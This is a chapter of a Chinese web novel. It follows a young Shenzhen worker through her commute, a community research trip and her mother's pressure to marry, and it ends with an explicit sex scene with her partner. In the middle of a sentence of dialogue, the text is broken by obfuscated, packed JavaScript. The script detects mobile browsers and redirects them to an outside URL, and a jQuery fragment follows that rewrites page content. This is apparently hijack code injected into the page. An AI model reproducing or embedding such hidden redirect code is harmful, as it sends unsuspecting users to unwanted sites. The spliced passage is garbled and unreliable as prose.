“当时我的工资是8000，那个房租是7000，我就租下来了。我心里想，我就是要住在这种面对海景的房子里，我要窗外的风景一定要看到海。”
周二的深圳地铁，乌泱泱的人簇拥着，周予萂跟往常一样戴着耳机，播客里传来的声音让她有些恍惚。
没想到人生还有这种活法。
耳机里的播客正讲到精彩处，被一通微信语音切断。屏幕亮起，上面显示来电人是：实习生祝嘉仪。
“予萂老师，你快到了吗？我在社区工作站门口的拐角等你哦，飞越老师也还没到呢。”
听筒里传来的声音清脆悦耳，透着一股还没被班味腌入味的活力。
“马上了。”周予萂回了一句。话音刚落，她抬头看了一眼报站屏，就听到地铁口播响起：“下一站，翻身！是困境突破、是梦想启航、是命运转折，下一段人生等你书写。列车运行方向，左侧的车门将会打开，请小心列车与站台之间的空隙。”
祝嘉仪也听到了背景音，兴奋道:“哇！早就听说深圳地铁出了这个新年限定口播，今天我还是第一次听到，太吉利了吧！我在这等你哈！”
挂断电话后，周予萂收起手机，随着人流走向车门。那段关于翻身的励志口播，她听了只恨自己手慢，没来得及录视频，好跟朋友吐槽。在公司有老板给牛马洗脑就算了，挤个地铁还要强行被打一管鸡血，无孔不入地渗透到日常生活的各个环节，好激励牛马创造更多劳动力。
刚出地铁站，周予萂重新按下播客的播放键，一键转发分享给郑云眠。返回微信聊天界面时，许久没出现的头像弹来一条消息：
【我今晚回来。】
周予萂愣了一下，随手向上划拉，发现他们已经很久没聊天了，上一次是十天前，他说泰国的清明时节没有雨纷纷。
当时她回了一个表情包：小猫顿悟.jpg
公司接了一个基层治理的课题调研项目，前期一直是部门长练飞越在统筹接洽，今天开始进行为期四天的现场调研，便把周予萂跟一名新入职的实习生拉上，美其名曰锻炼学习，实则充人头、做会议纪要、整理录音稿。
“怎么处理邻避问题？”
“这问题说来复杂，通常也要根据具体情况来判断。一般来说，需要有专业的监测和证据来支持处理结果，并进行公示。如果群众遭受诸如噪音等污染问题，但实际上没有超过国家标准，就需要我们积极沟通、加大宣传来解释清楚……”
座谈进入第二个时辰时，周予萂的思绪有点往外飘了。四月份的深圳，气温直逼30℃，这个圆桌会议室没开冷气，她坐在黑色真皮转椅上，屁股烧得慌。
座谈会结束后，社区工作人员又领着他们在周边转悠，了解人居环境。住在附近城中村的人，大多在南山上班，因租金较低、通勤较近而选择这里。练飞越称这些租客为都市候鸟，每天赶早外出谋生，晚上归巢，一觉醒来又周而复始，只是短暂停留，没有真正在地生活。
“来了就是深圳人”的标语，吸引了无数年轻人前赴后继赶来，每个人都曾相信自己能在这里闯出一片天，安家落户、落地生根，成为真正的深圳人。但有时候，越标榜什么，也许越缺什么。
结束了一天高强度的外勤调研，周予萂拖着散架的身体回到家。第一件事就是钻进浴室冲凉，洗去一身粘腻的班味。
擦着半干的头发，她顺着狭窄的楼梯爬上Loft二层，把自己摔进柔软的床铺里。
眼前是一整面落地窗。窗外夜色沉沉，远处的点点灯火在黑暗中闪烁。这种静谧，在寸土寸金的市中心不多见，但在曾经被称为关外的地方，想拥有也不算太难。
记得同事袁晨得知她搬到这里时，一脸不可置信:“人家老板买房是一套接一套往福田南山挤，恨不得住进CBD里。你倒好，不仅不进城，还搞了个反向迁徙，往郊区撤退？”
当时她怎么回的？
“我要是有老板那财力，还需要在这打工吗？”
其实，周予萂何尝不是练飞越口中的都市候鸟？可那又如何呢？
为了这能赤脚跑动的木质楼梯，为了这面能装下夜空的落地窗，哪怕每天忍受接近三小时的通勤，她也认了。
思绪流转间，叶满苓发来语音通话，周予萂磨蹭几秒，右滑接通。
“星期六日转屋卡吗？汝妍妮姐周六结婚摆酒，把陈屿也带来家里玩玩，顺便提前积攒点经验。”
话筒里传来震耳的广场舞歌声，“怎么也飞不出花花的世界，原来我是一只酒醉的蝴蝶……”
周予萂闭着眼，熟悉的旋律让她不难想象叶满苓此刻所处的场景。周父家位于粤北山区H镇的圩街上，同住一条巷子的邻居，多是从更偏僻的村落走出来，在圩镇实现买地皮盖房的人。
尽管这里曾经隶属于民间评定的省十大贫困县之中，但近年来，很少有人再依靠种田为生，过着日出而作、日落而息的生活了。
不同于平原地区拥有连片的开阔地貌，能实现规模化耕种，粤北山区由于先天地块零碎，村民靠种田只能实现自给自足，无法获得更多的经济效益，因此农业发展更偏向于特色经济作物，譬如茶叶、柑橘等。
周父家所在的这条巷子，就有不少人家种植柑橘、柚子、香蕉等农作物，家里的老人也不耕田了，在附近租一块地种菜，每晚跳广场舞消磨时光。
“妹子，不是涯话啊。”叶满苓的声音拔高，隐隐要盖过广场舞bgm的架势，“汝究竟是怎么打算的？涯建议就今年把好事定下来，汝阿嫲早找人看好日子了，找到条件好的不赶紧抓住，以后汝打灯笼都难找。汝也不是细孥仔了，还是早点打算好啊。”
周予萂躺在床上，百无聊赖地揪着床单脱落的细线，两个月以来，这套催婚说辞她听了不下二十遍。她深吸一口气，赶在母亲继续长篇大论前打断：“妍妮姐摆酒的事，我看情况吧，这周很忙，周末可能要加班。”
“又加班？”叶满苓的音调再次升高，“早就叫汝辞职，汝不辞！在小私企工作能有什么前途啊？不如辞职回家专心考公考编，起码有份稳定的工作。”
周予萂把手机拿远了些，揉了揉太阳穴。窗外夜色渐浓，远处的灯反而更亮了，大城市就是这点好，永远有一盏灯为你亮着，哪怕是一盏路灯。
“我这边还有很多事要忙，先挂了啊。”
“冇转移话题！汝如果实在不愿意回来，那也得狠下心来努力，惠州、深圳、广州哪里都可以试试啊，不过汝现在毕竟不是一个人了，不比以前单身时候自由随性。陈屿他的家庭、事业都在深圳，汝要真去了别的地方，异地恋也不好。”
不是催婚，就是催上岸。
可人生，哪有真正的岸？
“好，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410495|200667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就这样，我先挂了。”周予萂使了点劲，把圈在手指上的那根细线拔了出来，指尖隐隐传来痛感。为了防止叶满苓喋喋不休，她先应下了事。再不打断，她马上就要和叶满苓开杠了。
不再理会话筒里的大嗓门，周予萂按下结束键，小复式瞬间安静下来，只有风扇运转的呼呼声。
她盯着黑下去的屏幕，长长呼出一口气。
过年那场争吵后，她时不时就会收到来自母亲的问候，这不是她习惯的相处方式。以前在外省上学，母女俩一年的通话次数，一只手都能数的过来。
叶满苓是个矛盾的人。她符合大众对传统客家女人的固有认知，譬如勤劳、贤惠、持家、质朴，重家庭而轻自我。可唯独在与亲女周予萂的相处中，就像弹琴找不准调一样，力不从心。
工作后，周予萂常听别人提起客家女人，都逃不过“娶妻当娶客家女，吃苦耐劳又持家”的标签，这种把女性当作优质劳动力的夸赞，她听着刺耳，心里把说话人骂了上百遍，但囿于在一众老登面前毫无话语权，她最多只道这是一种刻板印象，现实中并非如此。
独独有一回，陈屿在席间开了口：“这个时代，贤惠这个好词也该安到男人头上了吧？”
这话，落入她耳里，比穿林打叶声还带感。
回复完工作消息，周予萂给外婆弹了一个视频。自外公去世后，这成为她雷打不动的习惯，尽管每天聊的内容都大差不差，无非是“今天吃了什么？打牌赢没赢钱？明天天气会怎么样？”
有时候，说这么多废话，其实只图一个心安。
说话间，楼下传来电子锁的嘀嘀声，周予萂转身透过实木扶手往下看，陈屿恰好进门。对视一秒后，她便错开目光，继续和外婆聊天。
挂断视频后，小复式里只剩浴室里的水声，周予萂心烦，随手点开一个播客。小时候看书助眠，长大后听播客助眠，虽然她平日里沾枕十秒就能入睡，但还是想听点东西。
复式一楼的逼仄浴室内，陈屿闭着眼，任热水兜头而下，砸在头皮上有轻微的灼痛感，他一天没合眼，到家后又开了四十分钟车过来，结果只得到她冷冷瞥来的一眼。
躺上床，周予萂闭着眼，呼吸轻缓均匀，已经睡着了。陈屿关了灯，侧身把她搂住，房间没开空调，她嫌热将人推开，嘴里含糊不清地嘟囔一句。
陈屿凑近轻嘬了一口她的唇，而后开始抚弄手上的柔软。睡梦中，不设防的周予萂，被上下蹭着转醒，过膝睡裙早被掀到了腰间，她迷糊间听到撕安全套的声音，没一会儿就滑溜穿进来了。
温热的呼吸声直往周予萂耳朵上吹，濡湿了一片。
“想不想我？”
“为什么不主动找我？”
周予萂不想回答，于是佯装没听见，腿攀上他的腰，抬头封唇，让他闭嘴。
结束后，陈屿想抱她去洗，但这个窄小楼梯难以施展。
周予萂受不了身上的薄汗，套了睡裙就往下走。浴室门前，陈屿扶着额看她，他不进去帮她洗，一是她不喜欢假以其手，二是浴室太小，容不下两个人。
“听说男人过了25岁，就不行了。”
闻言，陈屿抬眼看她，一副事不关己模样，仿佛被嘲的人不是他。
“你很累吗？”周予萂见状，再次开口。
陈屿抬脚进浴室，顺手把门带上，“你想继续？”